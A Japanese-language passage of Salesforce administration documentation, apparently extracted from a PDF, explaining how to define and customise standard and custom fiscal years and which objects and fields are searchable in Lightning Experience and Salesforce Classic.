カスタム会計年度の定義
会社のカレンダーに合わせて会社のカスタム会計年度を設定します。カスタム会計年度を定義して、その
会計年度を変更する必要がある場合は、既存の会計年度の定義を編集します。
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会計年度の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

会計年度を表示する
• 「設定・定義を参照す

る」

会計年度を変更する
• 「アプリケーションの

カスタマイズ」

通常のカレンダー年度を採用している会社が、会計年度期首月を変更する場合
は、標準会計年度を使用します。会社が標準会計年度を採用していない場合は、
より複雑な会計年度の構造を定義する、カスタム会計年度を有効化できます。

警告:

• カスタマイザブル売上予測のユーザ: 会計年度の開始月を変更すると、
すべての目標、売上予測履歴、および上書きが失われる可能性がありま
す。データを保持するには、月を以前に四半期の開始月として使用した
月に変更します。たとえば、開始月が 4 月で、これを会計四半期の開始
月でない 5 月に変更すると、データが失われます。会計四半期の開始月
である 7 月に変更した場合は、データが保持されます。

• コラボレーション売上予測のユーザ: 会計年度の開始月を変更すると、
目標および調整の情報が消去されます。

1. 現在のデータをバックアップして、一連のカンマ区切り値 (CSV) ファイルにエ
クスポートします。

ヒント: 会計年度を変更すると会計期間が変わるため、バックアップ
データのエクスポートを実行します。この変更は、組織全体の商談と売
上予測に影響します。

2. [設定] から、[クイック検索] ボックスに「会計年度」と入力し、[会計年度] を選択します。
3. [標準会計年度] または [カスタム会計年度] を選択します。

• 標準会計年度を作成するには、開始月を選択し、会計年度名を期首の年にするか期末の年にするかを指
定します。
新しい会計年度の設定を既存の売上予測と目標に適用するには、[すべての売上予測と目標に適用する]

を選択します。売上予測の設定によっては、このオプションを使用できないことがあります。
• カスタム会計年度を作成するには、[カスタム会計年度を有効にする] をクリックして [OK] をクリック

し、会計年度を定義します。「カスタム会計年度の定義」 (ページ 371)を参照してください。

警告: カスタム会計年度を有効にした後で、無効にすることはできません。カスタム会計年度を有
効にすると、レポート、売上予測、目標、およびその他の日付に関する項目が影響を受けます。こ
れらのすべての影響を理解してその対策を整えたうえで、カスタム会計年度を有効にしてくださ
い。影響についての詳細は、「会計年度の定義」を参照してください。

4. [保存] をクリックします。
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会計年度の構成のカスタマイズ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

会計年度を定義または編
集する
• 「アプリケーションの

カスタマイズ」

会計年度を表示する
• 「設定・定義を参照す

る」

カスタム会計年度に必要な構成がテンプレートで利用できる構成以外の場合は、
カスタム会計年度の定義の詳細を変更します。
カスタム会計年度によって以下のことが可能になります。
• 期間名称のカスタマイズ
• 会計年度のテンプレートのリセット
• 会計期間の追加または削除
• 会計週の長さの変更

警告: 会計年度の長さを変更すると、売上予測とレポートに影響がありま
す。影響についての詳細は、「会計年度の定義」を参照してください。

期間名称のカスタマイズ
会計年度の期間名称を変更できます。売上予測やレポートでもこれらの期間名
称が使用されます。期間名称の変更についての詳細は、「会計年度の名称のカ
スタマイズ」 (ページ 368)を参照してください。

会計年度のテンプレートのリセット
カスタマイズ中に会計年度のテンプレートに戻る場合は、[会計年度をリセット]

で表示されるドロップダウンリストから、テンプレートを選択します。

メモ: 会計年度の構成をテンプレートへリセットすると、会計年度へ行ったすべてのカスタマイズが削除
されます。

会計期間の追加または削除
会計期間 (四半期、期間、または週) は、会計年度の構成から簡単に追加または削除できます。
会計期間を追加する手順は、次のとおりです。
1. [設定] で、[組織プロファイル] > [会計年度] をクリックします。
2. 編集したい会計年度の [編集] をクリックします。
3. まだ展開していない場合は、[高度なカスタマイズ] セクションを展開します。
4. 追加したい期間の直前の期間のチェックボックスをオンにします。たとえば、四半期を追加して第 2 四半

期とする場合は、第 1 四半期のチェックボックスをオンにします。
5. [挿入] をクリックします。

メモ: 会計期間の最大数は、250 です。

会計期間を削除する手順は、次のとおりです。
1. [設定] で、[組織プロファイル] > [会計年度] をクリックします。
2. 編集したい会計年度の [編集] をクリックします。
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3. まだ展開していない場合は、[高度なカスタマイズ] セクションを展開します。
4. 削除する期間に対応するチェックボックスをオンにします。
5. [削除] をクリックします。

メモ: 会計年度には、少なくとも 1 四半期、1 期間、1 週が必要です。会計期間または四半期を削除す
ると、その期間または四半期の売上予測の調整および目標が削除されます。

会計週の長さの変更
会計期間の長さを変更する手順は、次のとおりです。
1. [設定] で、[組織プロファイル] > [会計年度] をクリックします。
2. 編集したい会計年度の [編集] をクリックします。
3. まだ展開していない場合は、[高度なカスタマイズ] セクションを展開します。
4. 会計週に対応する [期間] で表示されるドロップダウンリストから長さを選択します。

メモ: 会計期間または四半期の期間を変更するには、週を挿入または削除するか、期間または四半期
を構成する週の長さを変更します。

会計年度をカスタマイズした後、会計年度の定義をプレビューします。続いて作業を保存します。

会計年度の名称のカスタマイズ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

会計年度を定義または編
集する
• 「アプリケーションの

カスタマイズ」

会計年度を表示する
• 「設定・定義を参照す

る」

会計年度の名称をカスタマイズする場合、命名方式と名称の選択、および会計
年度選択リストのカスタマイズの 2 種類の方法があります。

会計年度の命名方式と名称の選択
カスタム会計年度を定義するときに、カスタム会計年度に使用する名称を選択
できます。会計期間の種類 (四半期、期間、週) 別に、選択可能な名称のリスト
があります。
四半期名称

年毎に期間名の番号付け
このオプションで、四半期番号を四半期名に追加できます。四半期名称
は、四半期プレフィックスと四半期番号の組み合わせです。たとえば、
四半期プレフィックスを「Q」とすると、第 3 四半期の名称は「Q3」で
す。四半期プレフィックスをカスタマイズするには、「四半期プレフィッ
クス」 (ページ 369)を参照してください。デフォルトで各四半期番号はそ
の順番どおりに設定されますが (第 1 四半期は「1」)、この番号をカスタ
マイズする場合は四半期の詳細ドロップダウンリストから異なる値を選
択します。

カスタム四半期名
このオプションで、四半期名称を任意の名前に設定できます。四半期名
称は、[四半期名]から選択した名前に設定されます。デフォルトで四半期名の順序は選択リストの順序
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と同じですが、この順序をカスタマイズする場合は四半期の詳細ドロップダウンリストから別の値を選
択します。

期間名称
年毎に期間名の番号付け

このオプションで、年内の期間の位置に基づいて期間名称を設定できます。この期間名称は、期間プレ
フィックスと期間番号の組み合わせです。期間番号は、四半期ごとにリセットされません。たとえば、
期間プレフィックスを「P」とすると、6 番目の期間のラベルは「P6」です。[期間プレフィックス]のカ
スタマイズ手順については、「期間プレフィックス」 (ページ 369)を参照してください。デフォルトで各
期間番号はその順番どおりに設定されますが (第 1 期間の名称は「1」)、この番号をカスタマイズする場
合は期間の詳細ドロップダウンリストから異なる値を選択します。

四半期別ごとに期間名の番号付け
このオプションで、四半期内の期間の位置に基づいて期間名称を設定できます。この期間名称は、期間
プレフィックスと期間番号の組み合わせです。期間番号は、四半期ごとにリセットされます。たとえ
ば、期間プレフィックスを「P」とし、6 番目の期間が 2 番目の四半期の 2 番目の期間の場合、ラベルは
「P2」です。期間プレフィックスのカスタマイズ手順については、「期間プレフィックス」 (ページ 369)

を参照してください。デフォルトで各期間番号は四半期内のその順番どおりに設定されますが (四半期
の第 1 期間の名称は「1」)、この番号をカスタマイズする場合は期間の詳細ドロップダウンリストから
異なる値を選択します。

標準の月名
このオプションで、期間名称に期間の開始月の名前を設定できます。たとえば、ある期間が 10 月 12 日
に始まり 11 月 10 日に終わる場合、期間名称は「October」になります。

カスタム期間名
このオプションで、期間名称を任意の文字列に設定できます。期間名称は、[期間名]から選択した文字
列に設定されます。デフォルトでは期間名のリストの順序は選択リストの順序と同じですが、期間の詳
細ドロップダウンリストから別の値を選択してカスタマイズできます。

会計年度の選択リスト
カスタム選択リストを参照して、カスタム会計年度の名称をカスタマイズします。
四半期プレフィックス

四半期プレフィックスの選択リストで、四半期番号または四半期名の前に付けるテキストが選択できます。
このテキストは、四半期名の体系で [年での番号] を使用する場合に付きます。たとえば、会計四半期が
「Q4」の場合、「Q」が四半期プレフィックスです。

期間プレフィックス
期間プレフィックスの選択リストで、期間番号または期間名の前に付けるテキストが選択できます。この
テキストは、期間名の体系で [年での番号] を使用する場合に付きます。たとえば、会計四半期が「P4」の
場合、「P」が期間プレフィックスです。

四半期名
四半期名選択リストは、四半期名の体系で [カスタム四半期名] を使用する場合に利用するための選択リス
トです。たとえば、四半期を季節で命名する場合 (春、夏、秋、冬)、四半期名リストにこの値を設定でき
ます。
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期間名
期間名選択リストは、期間名の体系で [カスタム期間名] を使用する場合に利用するための選択です。四半
期名の選択リストと同様に、期間名選択リストにて任意の名称を選択できます。

会計年度名のカスタマイズ
選択リストの 1 つをカスタマイズする手順は、次のとおりです。
1. [設定] で、[組織プロファイル] > [会計年度] をクリックします。
2. 適切な選択リストの横にある [編集] をクリックします。

関連トピック:

会計年度の定義

カスタム会計年度テンプレートの選択

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

会計年度を変更する
• 「アプリケーションの

カスタマイズ」

新しいカスタム会計年度を作成するときは、まずカスタム会計年度のテンプレー
トを選択します。これらのテンプレートは、カスタム会計年度を簡単に定義す
るために利用できます。テンプレートで、正確なニーズを満たすためにカスタ
マイズできる単純なカスタム会計年度が作成されます。

メモ: テンプレートを選択した後で、それが自分の組織の会計年度定義に
最適でないことが判明した場合は、[会計年度をリセット] オプションを使
用して、いつでもそのテンプレートをリセットできます。

次の 3 種類のテンプレートの 1 つを選択します。
年あたり 4 四半期、四半期あたり 13 週

それぞれの四半期で、四半期あたりの週が同数になるようにする場合は、こ
のテンプレートの 1 つを会計年度用に選択します。これらのテンプレートに
は、すべて、年あたり 4 四半期、12 期間、52 週があります。各四半期は 13

週で、3 期間から構成されます。各四半期の 2 期間は 4 週、1 期間は 5 週で
す。たとえば、4-4-5 テンプレートでは、四半期の第 1、第 2 期間は 4 週、第
3 期間は 5 週です。週は常に 7 日間です。これらのテンプレートに対するカ
スタマイズの典型は、うるう年用に特別な週を追加することです。
4-4-5

各四半期内で、期間 1 は 4 週、期間 2 は 4 週、期間 3 は 5 週です。
4-5-4

各四半期内で、期間 1 は 4 週、期間 2 は 5 週、期間 3 は 4 週です。
5-4-4

各四半期内で、期間 1 は 5 週、期間 2 は 4 週、期間 3 は 4 週です。
年あたり 13 期間、期間あたり 4 週間

会計年度が 12 期間を超え、1 つの四半期が他の四半期より長い場合は、このテンプレートを選択します。
これらのテンプレートにはすべて、年あたり 4 四半期、年あたり 13 期間、四半期あたり 3 または 4 期間、
年あたり 53 週、期間あたり 4 週 (最終期間は 5 週) あります。週は通常 7 日間ですが、1 年の終わりに短い週
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が含まれます。この種類のテンプレートの最も一般的なカスタマイズは、短い週の作成、または短い週の
長さの変更です。
3-3-3-4

四半期 1 は 3 期間、四半期 2 は 3 期間、四半期 3 は 3 期間、四半期 4 は 4 期間
3-3-4-3

四半期 1 は 3 期間、四半期 2 は 3 期間、四半期 3 は 4 期間、四半期 4 は 3 期間
3-4-3-3

四半期 1 は 3 期間、四半期 2 は 4 期間、四半期 3 は 3 期間、四半期 4 は 3 期間
4-3-3-3

四半期 1 は 4 期間、四半期 2 は 3 期間、四半期 3 は 3 期間、四半期 4 は 3 期間
通常のカレンダー

12 月/年の標準的な通常のカレンダー。
他のテンプレートのスタイルとは異なり、通常のカレンダーテンプレートから作成された会計年度に対し
ては、高度なカスタマイズを実行できません。通常のカレンダーに従う会計年度を作成する場合は、この
テンプレートのみを使用します。このテンプレートは、標準会計年度の機能を模倣したものです。

関連トピック:

会計年度の定義

カスタム会計年度の定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

会計年度を表示する
• 「設定・定義を参照す

る」

会計年度を変更する
• 「アプリケーションの

カスタマイズ」

会社のカレンダーに合わせて会社のカスタム会計年度を設定します。カスタム
会計年度を定義して、その会計年度を変更する必要がある場合は、既存の会計
年度の定義を編集します。
カスタム会計年度を定義する前に、カスタム会計年度を有効にします。詳細は、
「会計年度の設定」 (ページ 366)を参照してください。
カスタム会計年度を定義または編集する前に、「会計年度の定義」 (ページ 364)

を参照して、売上予測、レポート、その他のオブジェクトに与える影響を認識
しておきます。
カスタム会計年度は削除できません。

新規カスタム会計年度の定義
1. [設定] で、[組織プロファイル] > [会計年度] をクリックします。
2. [新規] をクリックします。[カスタム会計年度] テンプレートのダイアログが

表示されます。
3. テンプレートを選択し、[次へ]をクリックして [カスタム会計年度] テンプレー

トのダイアログを閉じます。テンプレートの詳細は、「カスタム会計年度テ
ンプレートの選択」 (ページ 370)を参照してください。

4. 会計年度開始日、会計年度名を設定し、週開始日を選択します。会計年度についての説明も追加できます。

371

会計年度の定義Salesforce 組織の設定および管理



メモ: 初めてカスタム会計年度を設定する場合は、[会計年度開始日]と [週開始日]に、日付と曜日を
指定します。すでにカスタム会計年度を定義済みの場合は、定義済みのカスタム会計年度の最終日の
次の日が設定されます。

開始日、会計年度名、週開始日以外を変更する場合は、「会計年度の構成のカスタマイズ」 (ページ 367)を
参照してください。

5. 必要に応じて、[プレビュー] をクリックして会計年度の定義をレビューします。
正しい場合はプレビューを閉じ、[保存] をクリックして会計年度を保存します。または、現在の会計年度
を閉じて別の会計年度を定義するために [保存 & 新規] をクリックします。

警告: 会社で売上予測を使用している場合、最初のカスタム会計年度を作成したときに、対応する標準会
計年度以降の目標および調整が削除されます。

カスタム会計年度の編集
1. [設定] で、[組織プロファイル] > [会計年度] をクリックします。
2. 詳細部分を検討するために、定義済みの会計年度名をクリックします。会計年度のプレビューを閉じて次

へ進みます。
3. 編集したい会計年度の [編集] をクリックします。
4. [会計年度開始日]、[会計年度名]、[説明]、または [週開始日] を変更します。

[会計年度開始日] の変更によって、この会計年度が前の会計年度と重複する場合、または前の会計年度と
の間に空きができてしまう場合は、前の会計年度の最終日がこの会計年度の開始日の前日に変更されます。
最終日の変更によって、この会計年度が次の会計年度と重複する場合、または次の会計年度との間に空き
ができてしまう場合は、次の会計年度の開始日がこの会計年度の最終日の次の日に変更されます。

メモ: カレンダー暦 (グレゴリオ暦) のテンプレートを使用して定義された会計年度では、開始日また
は最終日が重なるような、日付の変更はできません。

警告: 四半期、期間、週の開始日または最終日を変更すると、その日付範囲内のすべての売上予測デー
タ (目標、売上予測履歴、売上予測の調整を含む) と、その変更の結果自動的に調整された日付範囲の
すべての売上予測が失われます。これには、期間の挿入または削除の結果生じる最終日または開始日
の変更も含まれます。

5. [プレビュー] をクリックします。
6. 会計年度の定義を検討します。正しい場合はプレビューを閉じ、[保存] をクリックして会計年度を保存し

ます。詳細な編集を行う場合は、「会計年度の構成のカスタマイズ」 (ページ 367)を参照してください。

メモ: 売上予測およびレポートの会計年度の期間名称は、特に指定した場合を除き、会計年度の期間
のデフォルトの名称値に設定されます。変更する場合は、「会計年度の名称のカスタマイズ」 (ページ
368)を参照してください。
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検索の設定
検索可能なオブジェクトと項目を見つけます。検索設定、検索結果の絞り込み、およびルックアップ検索をカ
スタマイズします。検索のユーザエクスペリエンスが向上する方法を学習します。

検索可能なオブジェクトと項目
Salesforce は、オブジェクトごとに固有の項目セットを検索します。
ルックアップ検索の設定
どの列がルックアップ検索結果に表示されるのかを選択します。
Salesforce Classic の検索設定の定義
ドキュメントの内容の検索、CJKT 検索最適化、サイドバー検索オートコンプリートなどを有効にします。
ルックアップ設定、オブジェクトあたりの検索結果数、ルックアップ設定数を設定します。
Salesforce Classic での検索結果の絞り込みの設定
システム管理者は、ユーザが検索結果の絞り込みで使用できる検索条件を選択します。ユーザが簡単に検
索結果間を移動して適切なレコードを見つけられるように、オブジェクトごとに適切な検索条件を選択す
ることが重要です。
検索の過多を軽減するためのガイドライン
レコードが検索結果に表示されないとユーザから報告を受けた場合、より的確な結果を得るために、具体
的な検索語を入力して検索範囲を絞り込むようにユーザに促します。
検索を高速化するためのガイドライン
カスタムオブジェクトと外部オブジェクトの検索を無効化し、ピーク時間外の一括アップロードをスケ
ジュールすると、検索を高速化できます。

検索可能なオブジェクトと項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

検索可能なレコードタイ
プは、使用しているエ
ディションによって異な
ります。

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce は、オブジェクトごとに固有の項目セットを検索します。

メモ: 項目レベルセキュリティで非表示になっている項目の値を検索する
と、その項目を含むレコードが結果に表示されます。ただし、項目を表示
することはできません。

Lightning Experience のオブジェクトで検索可能な項目
検索結果に含まれるレコードは、レコードのオブジェクト種別とその項目が
検索可能かどうかによって異なります。検索できない項目に保存されている
値を持つオブジェクトを検索する場合、目的のオブジェクトが検索結果に表
示されません。
Salesforce Classic のオブジェクトで検索可能な項目
各検索タイプ (サイドバー検索、高度な検索、グローバル検索、ルックアッ
プ検索) では、オブジェクトごとに固有の項目セットを検索します。特定の
オブジェクトの検索結果は、検索タイプとそのオブジェクトの検索可能な項目という 2 つの要素に左右さ
れます。
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Lightning Experience のオブジェクトで検索可能な項目

エディション

使用可能なエディション:
Lightning Experience

検索可能なレコードタイ
プは、使用しているエ
ディションによって異な
ります。

検索結果に含まれるレコードは、レコードのオブジェクト種別とその項目が検
索可能かどうかによって異なります。検索できない項目に保存されている値を
持つオブジェクトを検索する場合、目的のオブジェクトが検索結果に表示され
ません。

メモ: 項目レベルセキュリティで非表示になっている項目の値を検索する
と、その項目を含むレコードが結果に表示されます。ただし、項目を表示
することはできません。

次の表を参考にして、検索可能なオブジェクトを判断してください。オブジェ
クトにカスタム項目がある場合、カスタム項目値を使用してそのオブジェクト
のレコードを検索できます。
すべてのオブジェクトと項目が検索可能であるとは限らないため、表を参照してください。

項目オブジェクト

取引先名取引先

取引先名 (ローカル)

取引先番号
取引先 部門
住所(請求先)

説明
Fax

電話
住所(納入先)

株式コード
Web サイト
すべてのカスタム項目

記事番号記事 (ナレッジ記事)

概要
役職
URL 名

納入商品名
説明

納入商品

シリアル番号
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項目オブジェクト

キャンペーン名
説明

キャンペーン

ケース番号ケース

説明
件名
[Web 会社名]  (オンラインでケースを登録したユーザの)

[Web メール]  (オンラインでケースを登録したユーザの)

[Web 氏名]  (オンラインでケースを登録したユーザの)

[Web 電話]  (オンラインでケースを登録したユーザの)

@名前  (名前 はユーザ名)Chatter (フィード)

コメント内容
コメント記入者名
ファイル名
グループ名
リンク
投稿内容
投稿元 (人、グループ、レコード名)

説明グループ (Chatter グ
ループ)

名前

アシスタント取引先責任者

アシスタント電話
部署
説明
メール
Fax

名(ローカル)

自宅電話
姓(ローカル)

住所(郵送先)

携帯
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項目オブジェクト

住所(その他)

電話(その他)

電話
役職

住所(請求先)契約

名前(請求先)

契約名
契約番号
説明
住所(納入先)

特記事項

名前カスタムオブジェク
トおよびカスタム項
目 すべてのカスタム自動採番項目と、外部 ID 設定されたすべてのカスタム項目 (先行する

ゼロは入力不要です)

メールと電話のすべてのカスタム項目
テキスト、テキストエリア、ロングテキストエリア、リッチテキストエリアのすべて
のカスタム項目

メモ: カスタムオブジェクトがカスタムタブに関連付けられている場合にのみ、
カスタムオブジェクトレコードをSalesforceで検索できます。ユーザは、表示用の
タブを追加する必要はありません。

メモ: 標準オブジェクトのカスタム項目でも同じ項目種別が検索可能です。

役職ダッシュボード

グローバル検索のみ: テキスト、テキストエリア、ロングテキストエリア項目外部オブジェクト

メモ: ルックアップ検索は、外部参照関係項目または間接参照関係項目では使用
できません。
• 外部参照関係項目を編集するには、親レコードの [外部 ID]標準項目の値を

手動で入力します。
• 間接参照関係項目を編集するには、親レコードの対象項目の値を手動で入力

します。対象項目は、間接参照関係項目が作成されたときに選択された、
External IDおよび Unique属性を持つカスタム項目です。関連レコードを
判別するために、Salesforce によって対象項目の値が子オブジェクトの間接参
照関係項目の値と照合されます。
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項目オブジェクト

外部オブジェクトは、Salesforce 組織外に保存されているデータにアクセスします。
Salesforce システム管理者が、検索可能な外部オブジェクトを制御します。検索される
外部オブジェクト項目は、外部システムが検索を処理する方法に応じて異なります。
検索結果が期待とは異なる場合は、英数字のみが含まれる、大文字と小文字を区別し
た検索文字列を使用してください。結果がまだ期待とは異なる場合、具体的な外部シ
ステムの検索に関する推奨事項をシステム管理者に問い合わせてください。

説明行動 (カレンダー)

件名

内容ファイル

説明
[拡張子]  (ppt など)

名前
所有者

住所リード

会社
Company(Local)

説明
メール
Fax

名(ローカル)

姓(ローカル)

携帯
名前
電話
役職

メモ: Lightning Experience では、変換済みのリードのレコードと、変換済みのリー
ドに基づく新規レコードの両方を検索できます。ただし、検索結果ページから、
変換済みのリードのレコードを参照または編集することはできません。

内容メモ

役職

説明業務時間
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項目オブジェクト

名前

説明商談

商談名

自己紹介人

住所
メール
名前
ニックネーム
電話
役職
ユーザ名

取引先名個人取引先

取引先名 (ローカル)

取引先番号
取引先 部門
アシスタント
アシスタントの電話
住所(請求先)

説明
メール
Fax

自宅電話
住所(郵送先)

携帯
住所(その他)

電話(その他)

住所(納入先)

株式コード
役職
Web サイト
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項目オブジェクト

メモ: 個人取引先オブジェクトには、法人取引先オブジェクトと取引先責任者オ
ブジェクトの両方から取得した項目が含まれます。すべての検索語は、法人取引
先および取引先責任者項目と同時に比較されます。

説明価格表

価格表名

商品コード商品

商品 説明
商品名

見積名見積

見積番号

説明レポート

レポート名

予約番号サービス予約

説明
件名

説明サービス人員

名前

説明サービステリトリー

名前

コメントToDo

件名

説明作業指示

件名
作業指示番号

379

検索の設定Salesforce 組織の設定および管理



Lightning Experience の検索可能な設定オブジェクト
[設定] でグローバル検索を使用して、リードソース選択リストや営業担当プロファイルなどの特定の設定
レコードを検索できます。グローバル検索は、[設定] メニュー内でページ ([取引先設定] や [プロファイル]

など) を検索するクイック検索と異なります。

Lightning Experience の検索可能な設定オブジェクト

エディション

使用可能なエディション:
Lightning Experience

検索可能なレコードタイ
プは、使用しているエ
ディションによって異な
ります。

[設定] でグローバル検索を使用して、リードソース選択リストや営業担当プロ
ファイルなどの特定の設定レコードを検索できます。グローバル検索は、[設定]

メニュー内でページ ([取引先設定] や [プロファイル] など) を検索するクイック検
索と異なります。
[設定] でのグローバル検索を行うには、「高度な設定の検索」を有効にします。
[設定] を開いたままレコード名を入力し、インスタント結果の[設定]オプション
を選択するか、Enter キーを押します。
検索結果ページで、グローバル検索の下の検索範囲バーを使用して、特定の設
定オブジェクトへの結果のみを表示します。[上位の結果] には最も頻繁に使用す
る設定オブジェクトページの結果が含まれます。
次の設定オブジェクトは常に検索範囲バーに表示されます。順序はカスタマイズできません。
• ユーザ
• プロファイル
• 権限セット
• オブジェクト
• 項目
• グループおよびキュー
表示されない設定オブジェクトの結果を表示する場合、リストの右側にある[さらに表示]ドロップダウンリス
トを使用します。検索可能なすべての設定オブジェクトの一覧を次に示します。
• 承認投稿テンプレート
• 承認プロセス
• 割り当てルール
• コンパクトレイアウト
• カスタムボタンまたはカスタムリンク
• カスタムホームページ
• 重複ルール
• メールアラート
• メールテンプレート
• 項目自動更新
• 項目
• グループおよびキュー
• ホームページのコンポーネント
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• 権限セット
• プロファイル
• オブジェクト
• ロール
• 静的リソース
• ユーザ
• ワークフローアウトバウンドメッセージ
• ワークフロールール
• ワークフロー ToDo

検索結果に表示される列を次に示します。列はカスタマイズできません。[種別] 列には、[項目] などの、設定
レコードの種別が表示されます。[オブジェクト] 項目には、取引先責任者などの Salesforceオブジェクトが表示
されます。
• 名前
• 種別
• オブジェクト
• 最終更新日
• 最終更新者
設定の検索結果には一定の制限があります。
• 結果の並び替えや絞り込みはできません。
• 設定レコードの API 参照名でのみ検索できます。

Salesforce Classic のオブジェクトで検索可能な項目

エディション

使用可能なエディション:
Salesforce Classic

検索可能なレコードタイ
プは、使用しているエ
ディションによって異な
ります。

各検索タイプ (サイドバー検索、高度な検索、グローバル検索、ルックアップ検
索) では、オブジェクトごとに固有の項目セットを検索します。特定のオブジェ
クトの検索結果は、検索タイプとそのオブジェクトの検索可能な項目という 2

つの要素に左右されます。
たとえば、[説明]項目に「Acme」が含まれる取引先について考えます。[説明]

項目は、標準ルックアップ検索ではクエリされませんが、[すべての項目]が選択
されているグローバル検索や高度なルックアップ検索ではクエリされます。そ
のため、「Acme」の検索でこの取引先レコードが返されるのは、[すべての項目]

が選択された状態のグローバル検索または高度なルックアップ検索を使用して
いる場合のみです。
検索可能な項目では、次の点に留意してください。
• グローバル検索では、オブジェクトごとに検索される項目がその他の検索タイプよりも多くなっています。
• デフォルトで、高度なルックアップ検索では制限された項目セット (主に各オブジェクトの名前項目) が照

会されます。高度なルックアップ検索ダイアログで使用可能な場合は、[すべての項目] を選択し、レコー
ドに固有の他の検索語を入力してすべての検索可能な項目を検索します。

• 暗号化項目、数式項目、および参照項目は検索できません。
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メモ: 項目レベルセキュリティで非表示になっている項目の値を検索すると、その項目を含むレコードが
結果に表示されます。ただし、項目を表示することはできません。

次の表に、各オブジェクトでサポートされる検索タイプを示します。すべての種別ですべてのオブジェクトと
項目が検索できるわけではありません。各オブジェクトの検索可能な項目のリストを参照するには、リンクを
クリックしてください。

グローバル検索高度なルック
アップ検索

標準ルックアッ
プ検索

高度な検索サイドバー検索オブジェクト

活動 (行動と
ToDo)

納入商品

添付ファイル

法人取引先

キャンペーン

ケース

Chatter フィード

Chatter グループ

コーチング

コミュニティ

取引先責任者
Salesforce CRM
Content

契約

契約品目名

カスタムオブ
ジェクト

D&B 企業

ディスカッショ
ン

ドキュメント

エンタイトルメ
ント

外部オブジェク
ト
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グローバル検索高度なルック
アップ検索

標準ルックアッ
プ検索

高度な検索サイドバー検索オブジェクト

ファイル

目標

アイデア

ナレッジ記事

リード

Live Chat のトラン
スクリプト

マクロ

総計値

メモ

業務時間

商談

注文

人

パフォーマンス
サイクル

個人取引先

価格表

商品

質問

クイックテキス
ト

見積

レポート

人員不在

報奨資金

報奨資金種別

セルフサービス
ユーザ
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グローバル検索高度なルック
アップ検索

標準ルックアッ
プ検索

高度な検索サイドバー検索オブジェクト

サービス予約

サービス契約

サービス人員

サービス人員ス
キル

サービステリト
リー

サービステリト
リーメンバー

スキル

解決方法

トピック

ユーザ

作業指示

作業指示品目

検索可能な項目: 稼働時間

検索可能な項目: 活動 (行動と ToDo)

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

メモ: アーカイブされた行動と ToDo は検索できません。

グローバル検索高度な検索サイドバー検索検索可能な項目

[コメント]  (ToDo

のみ)

[説明]  (行動のみ)

件名

すべてのカスタム
自動採番項目と、
外部 ID 設定された
すべてのカスタム
項目
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グローバル検索高度な検索サイドバー検索検索可能な項目

(先行するゼロは入力不要
です。)

テキスト、テキストエリ
ア、ロングテキストエリ
ア、リッチテキストエリ
ア、メール、電話のすべ
てのカスタム項目

検索可能な項目: 納入商品

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

納入商品名

説明

シリアル番号

すべてのカス
タム自動採番
項目と、外部
ID 設定された
すべてのカス
タム項目
(先行するゼロ
は入力不要で
す)。

テキスト、テ
キストエリ
ア、ロングテ
キストエリ
ア、リッチテ
キストエリ
ア、メール、
電話のすべて
のカスタム項
目
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検索可能な項目: 添付ファイル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

グローバル検索高度な検索サイドバー検索検索可能な項目

説明

ファイル名

添付ファイルの内容は検索できません。

検索可能な項目: 法人取引先

エディション

使用可能なエディション:
Salesforce Classic

使用可能な法人取引先項
目は、使用している
Salesforce のエディション
によって異なります。

メモ: 使用可能な場合、高度なルックアップ検索を使用するときには、テー
ブルの高度なルックアップ検索 (デフォルト) 列で選択された項目だけでな
く、すべての検索可能項目をクエリするためのオプションがあります。

グローバル
検索

高度なルッ
クアップ検
索 (デフォ

ルト)

標準ルック
アップ検索

高度な検索サイドバー
検索

検索可能な
項目

取引先名

取引先名
(ローカル)

取引先番号

取引先 部門

住所(請求
先)

説明

[D-U-N-S

番号]  (この
項目は、
Data.com

Prospector を
使用する組
織でのみ使
用できます)

386

検索の設定Salesforce 組織の設定および管理



グローバル検索高度なルック
アップ検索 (デ

フォルト)

標準ルックアッ
プ検索

高度な検索サイドバー検索検索可能な項目

Fax

電話

住所(納入先)

株式コード

Web サイト

すべてのカスタ
ム自動採番項目
と、外部 ID 設定
されたすべての
カスタム項目
(先行するゼロは
入力不要です。)

テキスト、テキ
ストエリア、ロ
ングテキストエ
リア、リッチテ
キストエリア、
メール、電話の
すべてのカスタ
ム項目

検索可能な項目: キャンペーン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

キャンペーン名

説明

すべてのカス
タム自動採番
項目と、外部
ID 設定された
すべてのカス
タム項目
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グローバル検索標準ルックアップ検
索

高度な検索サイドバー検索検索可能な項目

(先行するゼロは入力
不要です)。

テキスト、テキスト
エリア、ロングテキ
ストエリア、リッチ
テキストエリア、
メール、電話のすべ
てのカスタム項目

検索可能な項目: ケース

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

グローバル検
索

標準ルック
アップ検索

高度な検索サイドバー検
索

検索可能な項
目

ケースコメント

ケース番号
(先行するゼロ
は入力不要で
す)。

説明

件名

[Web 会社名]

(オンラインで
ケースを登録
したユーザの)

[Web メール]

(オンラインで
